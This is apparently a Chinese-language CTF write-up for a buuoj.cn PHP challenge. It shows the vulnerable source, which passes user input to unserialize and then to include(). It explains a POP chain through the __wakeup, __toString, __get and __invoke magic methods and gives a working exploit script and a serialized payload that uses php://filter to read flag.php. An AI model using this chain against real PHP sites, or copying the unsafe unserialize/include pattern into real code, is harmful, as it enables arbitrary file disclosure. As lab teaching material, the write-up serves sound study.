平台:buuoj.cn
打开靶机得源码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
共涉及以下魔术方法
__construct() 当一个对象创建时被调用
__toString() 当一个对象被当作一个字符串使用
__wakeup() 将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() 获得一个类的成员变量时调用
__invoke() 调用函数的方式调用一个对象时的回应方法
定义了三个类
Modifier:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
声明保护字段类型$var
声明函数append,包含传入的文件
如果把对象当作一个函数调用时,触发__invoke()
方法,然后包含文件
Show:
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
创建对象时触发__construct()
方法,打印welcome to index.php,对象被当作字符串使用时触发__tostring()
,序列化之后触发__wakeup
,过滤了几个协议。
Test:
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__construct()
把p转换成数组,读取不可访问属性的值时调用__get()
,把p以函数的形式返回。
解题:
我们看到Modifier类中有文件包含,且提示flag在flag.php中,因此我们的目的是能够读到include(flag.php)
,虽然过滤了几个协议,但filter没被过滤。
从反序列化进程开始分析,首先反序列化之后会触发__wakeup()
,接着__wakeup()
又会直接触发__tostring()
,从而访问str的成员source,这时如果我们让str等于Test类对象,由于Test中没有source,就会触发__get()
,将$p
以函数的形式返回,而我们再让$p
等于Modifier的话,__invoke()
方法就会触发,从而自动调用append函数包含flag.php
exp:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a = new Show();//此时source(show)->str
$a->source = new Show();//source(show)->str之后触发__tostring然后访问source(test)触发__get
$a->source->str->p = new Modifier();//__get返回的p触发__invoke
echo serialize($a);
?>
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}
由于var是protected类型,所以payload中需要用%00把它的位数补齐,或者直接最后url编码输出
最后传入pop得到base64编码,解码即得flag